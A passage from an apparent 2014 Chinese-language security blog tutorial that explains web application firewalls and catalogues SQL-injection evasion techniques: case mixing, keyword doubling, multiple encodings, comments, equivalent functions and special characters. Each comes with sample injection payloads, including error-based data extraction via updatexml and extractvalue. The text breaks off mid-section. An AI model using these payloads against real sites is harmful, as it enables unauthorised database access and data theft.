作者:
r00tgrok
·
2014/03/02 13:24
知己知彼百戰不殆 --孫子兵法
[目錄]
0x00 前言
0x01 WAF的常見特徵
0x02 繞過WAF的方法
0x03 SQLi Filter的實現及Evasion
0x04 延伸及測試向量示例
0x05 本文小結
0x06 參考資料
0x00 前言
筆者前幾天在做測試時輸入攻擊向量後頁面發生了重定向甚至異常輸入也是重定向懷疑其中有WAF在作怪。之前對WAF接觸比較少純粹是新手趁此科普了一下並查閱了一些繞過WAF的方法。所找到的資料中主要分為兩類SQL隱碼攻擊和XSS繞過筆者SQL隱碼攻擊同樣是新手因此集中了不少資料並進行整理和總結因此有本文的產生。
目前能看到的繞過WAF的SQL隱碼攻擊技術大致有八、九種但是完整的、詳細的內容卻分佈在網際網路各個角落。另外我們談繞過WAF其實也是談如何繞過過濾機制如果在討論bypass技術的時候明確一下現有的一些filter的實現及其evasion對於筆者這樣的初學者來說是不是更好還有就是如果在文章後面可以提供一些測試向量提供思路和參考雖然內容看起來很雜但是也會比較方便呢?抱著這些想法儘管前人的分享已經比較充分了還是壯著膽自己進行總結這樣更能適應自己的需求也可能更加適合一些朋友的需求。
本文所討論的技術大都幾年以前就已經存在了不能保證每種方法在實際測試中都能生效另外為簡便起見筆者對形如http://www.site.com的URL約定為z.com。
0x01 WAF的常見特徵
之所以要談到WAF的常見特徵是為了更好的瞭解WAF的執行機制這樣就能增加幾分繞過的機會了。本文不對WAF做詳細介紹只談及幾點相關的。
總體來說WAF(Web Application Firewall)的具有以下四個方面的功能
1. 審計裝置用來截獲所有HTTP資料或者僅僅滿足某些規則的會話
2. 訪問控制裝置用來控制對Web應用的訪問既包括主動安全模式也包括被動安全模式
3. 架構/網路設計工具當執行在反向代理模式他們被用來分配職能集中控制虛擬基礎結構等。
4. WEB應用加固工具這些功能增強被保護Web應用的安全性它不僅能夠遮蔽WEB應用固有弱點而且能夠保護WEB應用程式設計錯誤導致的安全隱患。
WAF的常見特點
異常檢測協議拒絕不符合HTTP標準的請求
增強的輸入驗證代理和服務端的驗證而不只是限於客戶端驗證
白名單&黑名單白名單適用於穩定的We應用黑名單適合處理已知問題
基於規則和基於異常的保護基於規則更多的依賴黑名單機制基於異常更為靈活
狀態管理重點進行會話保護
另還有Coikies保護、抗入侵規避技術、響應監視和資訊洩露保護等
如果是對於掃描器WAF有其識別之道
掃描器識別主要由以下幾點
1) 掃描器指紋(head欄位/請求引數值)以wvs為例會有很明顯的Acunetix在內的標識
2) 單IP+ cookie某時間段內觸發規則次數
3) 隱藏的連結標籤等(<a>)
4) Cookie植入
5) 驗證碼驗證掃描器無法自動填充驗證碼
6) 單IP請求時間段內Webserver返回http狀態404比例 掃描器探測敏感目錄基於字典找不到檔案則返回404
0x02 繞過WAF的方法
從筆者目前找到的資料來看可以把這些繞過waf的技術分為9類包含從初級到高階技巧
a) 大小寫混合
b)替換關鍵字
c)使用編碼
d)使用註釋
e)等價函式與命令
f)使用特殊符號
g)HTTP引數控制
h)緩衝區溢位
i)整合繞過
a) 大小寫繞過
大小寫繞過用於只針對小寫或大寫的關鍵字匹配技術正規表示式/express/i 匹配時大小寫不敏感便無法繞過這是最簡單的繞過技術
z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場景可能的情況為filter的規則大小寫敏感現在直接使用這種繞過技術成功的可能性已經不高了吧
b)替換關鍵字
這種情況下大小寫轉化無法繞過而且正規表示式會替換或刪除select、union這些關鍵字如果只匹配一次就很容易繞過
z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
替換關鍵字同樣是很基礎的技術也可以構造得更復雜SeLSeselectleCTecT關鍵要看正規表示式會進行幾次匹配處理了
c)使用編碼
1.URL編碼
在Chrome中輸入一個連結非保留字的字元瀏覽器會對其URL編碼如空格變為%20、單引號%27、左括號%28、右括號%29
普通的URL編碼可能無法實現繞過不過存在某種情況URL編碼只進行了一次解碼過濾可以用兩次編碼繞過
page.php?id=1%252f%252a*/UNION%252f%252a/SELECT
2.十六進位制編碼
z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例程式碼中前者是對單個字元十六進位制編碼後者則是對整個字串編碼對整個字串編碼相對來說較少見一點
3.Unicode編碼
Unicode有所謂的標準編碼和非標準編碼假設我們用的utf-8為標準編碼那麼西歐語系所使用的就是非標準編碼了
看一下常用的幾個符號的一些Unicode編碼
單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
舉例:
?id=10%D6'%20AND%201=2%23
SELECT 'Ä'='A'; #1
兩個示例中,前者利用雙位元組繞過,比如對單引號轉義操作變成\',那麼就變成了%D6%5C',%D6%5C構成了一個款位元組即Unicode位元組,單引號可以正常使用。
第二個示例使用的是兩種不同編碼的字元的比較,它們比較的結果可能是True或者False,關鍵在於Unicode編碼種類繁多,基於黑名單的過濾器無法處理所以情況,從而實現繞過。
另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,後者從成功的實現對google的繞過,有興趣的朋友可以去了解下。
常見的編碼當然還有二進位制、八進位制,它們不一定都派得上用場,但後面會提到使用二進位制的例子。
d) 使用註釋
看一下常見的用於註釋的符號有哪些
//, -- , /**/, #, --+,-- -, ;--a
1.普通註釋
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在構造的查詢語句中插入註釋規避對空格的依賴或關鍵字識別#、--+用於終結語句的查詢
2.內聯註釋
相比普通註釋內聯註釋用的更多/!content/只有MySQL會正常識別content的內容其他
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
兩個示例中前者使用內聯註釋後者還用到了普通註釋。使用註釋一個很有用的做法便是對關鍵字的拆分要做到這一點後面討論的特殊符號也能實現當然前提是包括/、*在內的這些字元能正常使用。
e)等價函式與命令
有些函式或命令因其關鍵字被檢測出來而無法使用但是在很多情況下可以使用與之等價或類似的程式碼替代其使用
1.函式或變數
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例substring()和substr()無法使用時
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個示例用於說明有時候當某個函式不能使用時還可以找到其他的函式替代其實現至於select、uinon、where等關鍵字被限制如何處理將在後面filter部分討論
2.符號
and和or有可能不能使用可以試下&&和||能不能用還有=不能使用的情況可以考慮嘗試<、>因為如果不小於又不大於那便是等於了
再看一下用得很多的空格可以使用如下符號代替其使用
%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函式
MySQL/PostgreSQL支援XML函式
Select UpdateXML('<script x=_></script> ',[email protected]/','src=//evil.com');
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多自己的函式基於黑名單的filter要想涵蓋這麼多東西從實際上來說不太可能而且代價太大因此黑名單的確是更適合處理已知的情況
f) 特殊符號
這裡我把非字母數字的字元都規在了特殊符號一類這些符號有特殊的含義和用法涉及資訊量比前面提到的幾種都要多
先看下drops上waf的繞過技巧一文使用的幾個例子
1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做註釋符用
2.神奇的"-+.",select